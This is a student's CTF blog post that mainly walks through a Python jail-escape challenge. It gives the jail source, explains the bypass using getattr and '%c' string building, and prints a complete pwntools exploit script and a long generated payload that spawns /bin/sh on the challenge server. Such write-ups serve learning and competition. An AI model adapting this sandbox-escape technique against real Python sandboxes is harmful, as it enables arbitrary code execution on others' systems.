as i begin building my website, i want to document some ctfs ive played recently. the 3 ctfs that i talk about here are all pretty recent, with two of them being in-person! this was also the first time i got to meet members of my team: spl.
with that preface being said, let’s get into it!
metactf finals
apparently we are not allowed to discuss challenges, so i want to just give you a light overview of what happened! being a high schooler, i don’t get to go onsite to many competitions. originally, i was not supposed to go onsite at all. SPL did get 2nd in qualification, but only the older people were going to go. however, the organizers let the high schoolers have our own team! this meant that my team: tienxion, cold, mathlegend, vipin were the only high schoolers at the whole conference, which was honestly pretty cool.
day 1
import astprint("Welcome to the jail! You're never gonna escape!")payload = input("Enter payload: ") # No uppercase neededblacklist = list("abdefghijklmnopqrstuvwxyz1234567890\\;._")for i in payload: assert ord(i) >= 32 assert ord(i) <= 127 assert (payload.count('>') + payload.count('<')) <= 1 assert payload.count('=') <= 1 assert i not in blacklist
tree = ast.parse(payload)for node in ast.walk(tree): if isinstance(node, ast.BinOp): if not isinstance(node.op, ast.Mod): # Modulo because why not? raise ValueError("I don't like math :(")exec(payload,{'__builtins__':{},'c':getattr}) # This is enough right?print('Bye!')Jail Restrictions
The provided server.py implements several layers of filtering:
- Character Blacklist: All lowercase letters except
care forbidden, as well as digits, backslash, semicolon, period, and underscore. - Operator Restrictions: Only one
<or>and one=are allowed in the payload. - AST Filtering: Only the modulo (
%) binary operator is permitted; all other binary operations are blocked. This means we can’t do things like+or-. However, unary operations (like-~x) are allowed. - Builtins: The only available builtin is
c, which is set togetattr.
These constraints severely limit the ability to use normal Python syntax, attribute access, and string/number literals.
Initial Reconnaissance
Available Primitives
c = getattr: This is the only accessible builtin, and it’s crucial for dynamic attribute access.- Uppercase Letters: All uppercase letters are allowed, enabling variable names and string construction. However, all lowercase letters are blocked, and pretty much every attribute needs a lowercase letter.
- Modulo Operator: The
%operator is allowed, which enables format string operations. - Unary Operators: Not filtered, so expressions like
-~x(which incrementsxby 1) are usable.
Attribute Access
Since only c is available and all other lowercase letters are blocked, direct access to most attributes is impossible. However, getattr can be used to dynamically access attributes if their names can be constructed at runtime.
So our goal is to construct attribute names in the form of strings at runtime!
Building Strings and Numbers
Constructing Strings
- Format Strings: The
%operator allows constructing single characters:'%c' % 65yields'A'. This is the key of the challenge! Modulo operator being used to create characters! - Arbitrary Strings: By chaining format strings, any string can be built:
'%c%c%c' % (65,66,67)yields'ABC'.
So now we need numbers though…
Constructing Integers
- Boolean Comparison: The challenge allows one
<or>, so'@' < 'A'yieldsTrue(which is1in Python). - Unary Increment: Using
-~xrepeatedly incrementsxby 1, so-~Iis2,-~-~Iis3, etc.
This is because
Solve Process
1: Initialize a Variable to 1 (True)
Since only one comparison is allowed, use the walrus operator to assign the result of '@' < 'A' (which is True, i.e., 1) to a variable (I):
(I := ('@' < 'A'))2: Build Arbitrary Integers
Define a helper function to construct any integer n using only I and unary increments:
def expr_for(n): return "-~" * (n-1) + "I"3: Build Arbitrary Strings
Use format strings and the integer builder to construct any string:
def string_expr(txt): fmt = "'" + "%c" * len(txt) + "'" exprs = ",".join(expr_for(ord(c)) for c in txt) if len(txt) == 1: exprs += "," return f"{fmt} % ({exprs})"4: Dynamic Attribute Access
Use getattr (c) to access attributes by dynamically built names:
def getattr_call(obj, attr): return f"c({obj},{string_expr(attr)})"5: Chain Attribute Access to Reach os.system
- Get
__self__fromcto recover builtins. - Use
getattrto get__import__. - Import
os. - Get
systemfromos. - Call
system("/bin/sh").
6: Assemble the Final Payload
Combine all steps into a single payload tuple:
PAYLOAD = f"({init},{step3})"Where init sets I, and step3 executes the shell.
Final Exploit Script
#!/usr/bin/env python3from pwn import *
# ————————————————————————————————————————————————————————————————# 0. Helpers – build integers & strings without digit literals# ————————————————————————————————————————————————————————————————
BASE_VAR = "I" # after the walrus, I == 1
def expr_for(n: int) -> str: """ Produce an expression (only I and -~) that evaluates to the integer n (n>=1). I -> 1 -~I -> 2 -~-~I -> 3 ... """ if n < 1: raise ValueError("n must be >= 1") if n == 1: return BASE_VAR return "-~" * (n-1) + BASE_VAR
def char_expr(ch: str) -> str: """ Return a snippet that at runtime yields the one-char string `ch`, via '%c' % (<expr_for(code)>). """ code = expr_for(ord(ch)) return f"'%c' % ({code})"
def string_expr(txt: str) -> str: """ Return a snippet that at runtime yields the entire string `txt`, by using '%c%c...%c' % (<expr1>, <expr2>, ...). """ # Build the literal format: '%c%c...%c' fmt = "'" + "%c" * len(txt) + "'" # Build the tuple of expr_for(...) values exprs = ",".join(expr_for(ord(c)) for c in txt) # Single‐element tuple needs a trailing comma if len(txt) == 1: exprs += "," return f"{fmt} % ({exprs})"
def getattr_call(obj: str, attr: str) -> str: """ Emit c(<obj>, <dynamic-attr-name>), i.e. getattr(<obj>, "<attr>"). """ return f"c({obj},{string_expr(attr)})"
# ————————————————————————————————————————————————————————————————# 1. Build the one‐line exploit payload# It is a 2-tuple: (I:=('@'<'A'), <spawn‐shell‐expr>)# Uses exactly one '<', one '=', and only % formatting.# ————————————————————————————————————————————————————————————————
# 1a) The walrus – sets I = 1 (one '<' and one '=')init = f"(I:=('@'<'A'))"
# 1b) Build the needed names and strings at runtime:g_name = string_expr("__globals__")b_name = string_expr("__builtins__")imp_name = string_expr("__import__")os_mod = string_expr("os")sys_name = string_expr("system")sh_str = string_expr("/bin/sh")
# 1c) Chain getattr calls / indexing:step1 = getattr_call("c", "__self__") # getattr(c, "__self__")step2 = f"c({step1},{imp_name})({os_mod})" # getattr(B, "__import__")("os")step3 = f"c({step2},{sys_name})({sh_str})" # getattr(os, "system")("/bin/sh")
# 1d) Wrap into the final 2‐tuplePAYLOAD = f"({init},{step3})"
# Quick sanity‐check against the jail’s own rulesBLACK = set("abdefghijklmnopqrstuvwxyz1234567890\\;._")assert not [ch for ch in PAYLOAD if ch in BLACK], "Leaked a forbidden char!"assert PAYLOAD.count('<') + PAYLOAD.count('>') == 1, "Wrong count of < or >"assert PAYLOAD.count('=') == 1, "Wrong count of ="
print(f"→ Generated payload (length {len(PAYLOAD)}):\n")print(PAYLOAD)
# ————————————————————————————————————————————————————————————————# 2. Solve the chall!# ————————————————————————————————————————————————————————————————
p = remote("play.scriptsorcerers.xyz", 10480)
p.recvuntil("Enter payload: ")p.sendline(PAYLOAD.encode())p.interactive()Conclusion
This challenge required understanding of Python’s syntax and runtime behavior, creative use of allowed operators, and dynamic construction of both numbers and strings. The solution leveraged the walrus operator, unary increments, and format strings to bypass severe restrictions and achieve arbitrary code execution. THe constraints were well-formulated to let players find the interesting solve path!
❤️ NoobMaster fr
Payload Example (6,894 characters):
((I:=('@'<'A')),c(c(c(c,'%c%c%c%c%c%c%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I)),'%c%c%c%c%c%c%c%c%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I))('%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I)),'%c%c%c%c%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I))('%c%c%c%c%c%c%c' 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